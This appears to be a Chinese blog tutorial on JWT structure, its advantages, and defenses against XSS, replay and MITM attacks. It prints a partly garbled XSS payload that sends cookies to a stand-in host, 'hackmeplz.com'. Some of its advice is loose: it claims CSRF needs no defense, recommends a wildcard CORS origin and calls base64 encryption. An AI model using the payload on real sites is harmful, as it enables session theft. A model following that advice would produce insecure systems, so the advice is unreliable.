JWT的優點和實現Token認證的安全問題
一、什么是JWT
JWT——Json web token
是為了在網絡應用環境間傳遞聲明而執行的一種基於JSON的開放標准,可實現無狀態、分布式的Web應用授權。
二、我們為什么需要JWT?
首先,當前后端分離時我們會因為同源策略而無法設置cookie和sessionid。當然了我們有很多方式去解決這個問題,比如反向代理和jsonp等。但這仍然不如直接使用jwt來的簡便。其次就是要說到jwt與傳統的身份認證相比有什么優勢了。 回答這個問題需要來看看基於token的認證和傳統的session認證的區別
1、傳統的session認證
我們知道,http協議本身是一種無狀態的協議,而這就意味着如果用戶向我們的應用提供了用戶名和密碼來進行用戶認證,那么下一次請求時,用戶還要再一次進行用戶認證才行,因為根據http協議,我們並不能知道是哪個用戶發出的請求,所以為了讓我們的應用能識別是哪個用戶發出的請求,我們只能在服務器存儲一份用戶登錄的信息,這份登錄信息會在響應時傳遞給瀏覽器,告訴其保存為cookie,以便下次請求時發送給我們的應用,這樣我們的應用就能識別請求來自哪個用戶了,這就是傳統的基於session認證。
但是這種基於session的認證使應用本身很難得到擴展,隨着不同客戶端用戶的增加,獨立的服務器已無法承載更多的用戶,而這時候基於session認證應用的問題就會暴露出來
2、基於token的鑒權機制
基於token的鑒權機制類似於http協議也是無狀態的,它不需要在服務端去保留用戶的認證信息或者會話信息。這就意味着基於token認證機制的應用不需要去考慮用戶在哪一台服務器登錄了,這就為應用的擴展提供了便利。
流程上是這樣的:
1、用戶使用用戶名密碼來請求服務器
2、服務器進行驗證用戶的信息 服務器通過驗證發送給用戶一個token
3、客戶端存儲token,並在每次請求時附送上這個token值 服務端驗證token值,並返回數據
4、這個token必須要在每次請求時傳遞給服務端,它應該保存在請求頭里,
另外,服務端要支持CORS(跨來源資源共享)策略,一般我們在服務端這么做就可以了Access-Control-Allow-Origin:*。
3、基於token的jwt有以下優點:
Cookie是不允許垮域訪問的,這一點對Token機制是不存在的,前提是傳輸的用戶認證信息通過HTTP頭傳輸.
無狀態(也稱:服務端可擴展行):Token機制在服務端不需要存儲session信息,因為Token 自身包含了所有登錄用戶的信息,只需要在客戶端的cookie或本地介質存儲狀態信息.
更適用CDN: 可以通過內容分發網絡請求你服務端的所有資料(如:javascript,HTML,圖片等),而你的服務端只要提供API即可.
去耦: 不需要綁定到一個特定的身份驗證方案。Token可以在任何地方生成,只要在你的API被調用的時候,你可以進行Token生成調用即可.
更適用於移動應用: 當你的客戶端是一個原生平台(iOS, Android,Windows 8等)時,Cookie是不被支持的(你需要通過Cookie容器進行處理),這時采用Token認證機制就會簡單得多。
CSRF:因為不再依賴於Cookie,所以你就不需要考慮對CSRF(跨站請求偽造)的防范。
性能: 一次網絡往返時間(通過數據庫查詢session信息)總比做一次HMACSHA256計算 的Token驗證和解析要費時得多.
不需要為登錄頁面做特殊處理: 如果你使用Protractor 做功能測試的時候,不再需要為登錄頁面做特殊處理.
基於標准化:你的API可以采用標准化的 JSON Web Token (JWT). 這個標准已經存在多個后端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).
三、JWT的構成:
jwt由三部分構成:頭部(header)、載荷(payload, )、簽證(signature).
頭部:jwt的頭部承載兩部分信息:
聲明類型,這里是jwt
聲明加密的算法 通常直接使用 HMAC SHA256
完整的頭部就像下面這樣的JSON:
{
'typ': 'JWT',
'alg': 'HS256'
}
然后將頭部進行base64加密(該加密是可以對稱解密的),構成了第一部分.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
載荷:就是存放有效信息的地方。,這些有效信息包含三個部分
標准中注冊的聲明
公共的聲明
私有的聲明
標准中注冊的聲明 (建議但不強制使用) :
iss: jwt簽發者
sub: jwt所面向的用戶
aud: 接收jwt的一方
exp: jwt的過期時間,這個過期時間必須要大於簽發時間
nbf: 定義在什么時間之前,該jwt都是不可用的.
iat: jwt的簽發時間
jti: jwt的唯一身份標識,主要用來作為一次性token,從而回避重放攻擊。
公共的聲明 :
公共的聲明可以添加任何的信息,一般添加用戶的相關信息或其他業務需要的必要信息.但不建議添加敏感信息,因為該部分在客戶端可解密.
私有的聲明 :
私有聲明是提供者和消費者所共同定義的聲明,一般不建議存放敏感信息,因為base64是對稱解密的,意味着該部分信息可以歸類為明文信息。
定義一個payload:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
然后將其進行base64加密,得到Jwt的第二部分。
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
簽證:這個簽證信息由三部分header (base64后的)
payload (base64后的)
secret分需要base64加密后的header和base64加密后的payload使用.連接組成的字符串,然后通過header中聲明的加密方式進行加鹽secret組合加密,然后就構成了jwt的第三部分。
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret'); // TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
將這三部分用.連接成一個完整的字符串,構成了最終的jwt:
基於JWT的Token認證的安全問題
確保驗證過程的安全性
如何保證用戶名/密碼驗證過程的安全性;因為在驗證過程中,需要用戶輸入用戶名和密碼,在這一過程中,用戶名、密碼等敏感信息需要在網絡中傳輸。因此,在這個過程中建議采用HTTPS,通過SSL加密傳輸,以確保通道的安全性。
如何防范XSS Attacks
瀏覽器可以做很多事情,這也給瀏覽器端的安全帶來很多隱患,最常見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);如果有個頁面的輸入框中允許輸入任何信息,且沒有做防范措施,如果我們輸入下面這段代碼:
<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
這段代碼會盜取你域中的所有cookie信息,並發送到 hackmeplz.com;那么我們如何來防范這種攻擊呢?
- XSS攻擊代碼過濾
移除任何會導致瀏覽器做非預期執行的代碼,這個可以采用一些庫來實現(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是將用戶提交的字符串存儲到數據庫的話(也針對SQL注入攻擊),你需要在前端和服務端分別做過濾; - 采用HTTP-Only Cookies
通過設置Cookie的參數: HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie;
如何在Java中設置cookie是HttpOnly呢?
Servlet 2.5 API 不支持 cookie設置HttpOnly
http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
建議升級Tomcat7.0,它已經實現了Servlet3.0
http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
或者通過這樣來設置:
//設置cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); //設置多個cookie response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly"); response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly"); //設置https的cookie response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在實際使用中,我們可以使FireCookie查看我們設置的Cookie 是否是HttpOnly;
如何防范Replay Attacks
所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用於身份認證過程。比如在瀏覽器端通過用戶名/密碼驗證獲得簽名的Token被木馬竊取。即使用戶登出了系統,黑客還是可以利用竊取的Token模擬正常請求,而服務器端對此完全不知道,以為JWT機制是無狀態的。
針對這種情況,有幾種常用做法可以用作參考:
1、時間戳 +共享秘鑰
這種方案,客戶端和服務端都需要知道:
- User ID
- 共享秘鑰
客戶端
auth_header = JWT.encode({ user_id: 123, iat: Time.now.to_i, # 指定token發布時間 exp: Time.now.to_i + 2 # 指定token過期時間為2秒后,2秒時間足夠一次HTTP請求,同時在一定程度確保上一次token過期,減少replay attack的概率; }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
class ApiController < ActionController::Base attr_reader :current_user before_action :set_current_user_from_jwt_token def set_current_user_from_jwt_token # Step 1:解碼JWT,並獲取User ID,這個時候不對Token簽名進行檢查 # the signature. Note JWT tokens are *not* encrypted, but signed. payload = JWT.decode(request.authorization, nil, false) # Step 2: 檢查該用戶是否存在於數據庫 @current_user = User.find(payload['user_id']) # Step 3: 檢查Token簽名是否正確. JWT.decode(request.authorization, current_user.api_secret) # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內創建的. now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 如果過期則返回401 end rescue JWT::DecodeError # 返回 401 end end
2、時間戳 +共享秘鑰+黑名單 (類似Zendesk的做法)
客戶端
auth_header = JWT.encode({ user_id: 123, jti: rand(2 << 64).to_s, # 通過jti確保一個token只使用一次,防止replace attack iat: Time.now.to_i, # 指定token發布時間. exp: Time.now.to_i + 2 # 指定token過期時間為2秒后 }, "<my shared secret>") RestClient.get("http://api.example.com/", authorization: auth_header)
服務端
def set_current_user_from_jwt_token # 前面的步驟參考上面 payload = JWT.decode(request.authorization, nil, false) @current_user = User.find(payload['user_id']) JWT.decode(request.authorization, current_user.api_secret) now = Time.now.to_i if payload['iat'] > now || payload['exp'] < now # 返回401 end # 下面將檢查確保這個JWT之前沒有被使用過 # 使用Redis的原子操作 # The redis 的鍵: <user id>:<one-time use token> key = "#{payload['user_id']}:#{payload['jti']}" # 看鍵值是否在redis中已經存在. 如果不存在則返回nil. 如果存在則返回“1”. . if redis.getset(key, "1") # 返回401 # end # 進行鍵值過期檢查 redis.expireat(key, payload['exp'] + 2) end
如何防范MITM (Man-In-The-Middle)Attacks
所謂MITM攻擊,就是在客戶端和服務器端的交互過程被監聽,比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理服務器等;
針對這類攻擊的辦法使用HTTPS,包括針對分布式應用,在服務間傳輸像cookie這類敏感信息時也采用HTTPS;所以雲計算在本質上是不安全的。